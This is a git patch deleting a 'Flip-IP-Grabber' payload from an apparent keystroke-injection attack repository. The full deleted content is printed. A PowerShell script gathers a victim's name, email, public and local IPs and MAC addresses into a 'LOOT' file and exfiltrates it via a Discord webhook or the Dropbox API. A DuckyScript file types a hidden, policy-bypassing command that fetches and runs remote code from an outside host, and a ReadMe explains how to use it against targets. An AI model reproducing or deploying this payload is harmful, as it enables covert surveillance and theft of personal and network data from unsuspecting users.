From 6d12a90bb9b6070270e2a15d15d31efce2f9bf11 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 25 Jul 2023 16:25:50 -0500 Subject: [PATCH] Delete Payloads/Flip-IP-Grabber directory --- Payloads/Flip-IP-Grabber/IP-Grabber.ps1 | 132 ------------------------ Payloads/Flip-IP-Grabber/IP-Grabber.txt | 12 --- Payloads/Flip-IP-Grabber/ReadMe.md | 111 -------------------- 3 files changed, 255 deletions(-) delete mode 100644 Payloads/Flip-IP-Grabber/IP-Grabber.ps1 delete mode 100644 Payloads/Flip-IP-Grabber/IP-Grabber.txt delete mode 100644 Payloads/Flip-IP-Grabber/ReadMe.md diff --git a/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 b/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 deleted file mode 100644 index 6688e47..0000000 --- a/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 +++ /dev/null @@ -1,132 +0,0 @@ -$FileName = "$env:tmp/$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm).txt" - -#------------------------------------------------------------------------------------------------------------------------------------ - -function Get-fullName { - - try { - $fullName = (Get-LocalUser -Name $env:USERNAME).FullName - } - - # If no name is detected function will return $env:UserName - - # Write Error is just for troubleshooting - catch {Write-Error "No name was detected" - return $env:UserName - -ErrorAction SilentlyContinue - } - - return $fullName - -} - -$fullName = Get-fullName - - -#------------------------------------------------------------------------------------------------------------------------------------ - -function Get-email { - - try { - - $email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName - return $email - } - -# If no email is detected function will return backup message for sapi speak - - # Write Error is just for troubleshooting - catch {Write-Error "An email was not found" - return "No Email Detected" - -ErrorAction SilentlyContinue - } -} - -$email = Get-email - -#------------------------------------------------------------------------------------------------------------------------------------ - - -try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content} -catch{$computerPubIP="Error getting Public IP"} - - - -$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String - -$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String - -#------------------------------------------------------------------------------------------------------------------------------------ - - -$output = @" - -Full Name: $fullName - -Email: $email - ------------------------------------------------------------------------------------------------------------------------------- -Public IP: -$computerPubIP - -Local IPs: -$localIP - -MAC: -$MAC - -"@ - -$output > $FileName - -#------------------------------------------------------------------------------------------------------------------------------------ - -function Upload-Discord { - -[CmdletBinding()] -param ( - [parameter(Position=0,Mandatory=$False)] - [string]$file, - [parameter(Position=1,Mandatory=$False)] - [string]$text -) - -$hookurl = "$dc" - -$Body = @{ - 'username' = $env:username - 'content' = $text -} - -if (-not ([string]::IsNullOrEmpty($text))){ -Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; - -if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} -} - -if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"} - - -#------------------------------------------------------------------------------------------------------------------------------------ - -function DropBox-Upload { - -[CmdletBinding()] -param ( - -[Parameter (Mandatory = $True, ValueFromPipeline = $True)] -[Alias("f")] -[string]$SourceFilePath -) -$outputFile = Split-Path $SourceFilePath -leaf -$TargetFilePath="/$outputFile" -$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' -$authorization = "Bearer " + $db -$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" -$headers.Add("Authorization", $authorization) -$headers.Add("Dropbox-API-Arg", $arg) -$headers.Add("Content-Type", 'application/octet-stream') -Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers -} - -if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $FileName} diff --git a/Payloads/Flip-IP-Grabber/IP-Grabber.txt b/Payloads/Flip-IP-Grabber/IP-Grabber.txt deleted file mode 100644 index db2868c..0000000 --- a/Payloads/Flip-IP-Grabber/IP-Grabber.txt +++ /dev/null @@ -1,12 +0,0 @@ -REM Title: IP-Grabber - -REM Author: I am Jakoby - -REM Description: This payload is meant to do grab your targets IP addresses and exfil them - -REM Target: Windows 10, 11 - -GUI r -DELAY 500 -STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/f0x | iex -ENTER diff --git a/Payloads/Flip-IP-Grabber/ReadMe.md b/Payloads/Flip-IP-Grabber/ReadMe.md deleted file mode 100644 index 2f596bd..0000000 --- a/Payloads/Flip-IP-Grabber/ReadMe.md +++ /dev/null @@ -1,111 +0,0 @@ -![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) - - -
- Table of Contents -
    -
  1. Description
  2. -
  3. Getting Started
  4. -
  5. Contributing
  6. -
  7. Version History
  8. -
  9. Contact
  10. -
  11. Acknowledgments
  12. -
-
- -# IP-Grabber - -## Description - -This payload is meant to do grab your targets IP addresses and exfil them with discord or dropbox - -## Getting Started - -### Dependencies - -* Windows 10,11 - -### Executing program - -* Plug in your device -* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory - -`$dc` is the variable that stores your Discord webhook - -`$db` is the variable that stores your Dropbox token - -Fill in either or both of these to methods to exfil your collected data - -``` -powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/f0x | iex -``` - -

(back to top)

- -## Contributing - -All contributors names will be listed here - -I am Jakoby - -

(back to top)

- -## Version History - -* 0.1 - * Initial Release - -

(back to top)

- - -## Contact - -

📱 My Socials 📱

-
- - - - - - - - -
- - C# - -
YouTube -
- - Python - -
Twitter -
- - Golang - -
Instagram -
- - Jsonnet - -
Discord -
- - Jsonnet - -
TikTok -
-
- - - -

(back to top)

- - -## Acknowledgments - -* [Hak5](https://hak5.org/) -* [MG](https://github.com/OMG-MG) - -

(back to top)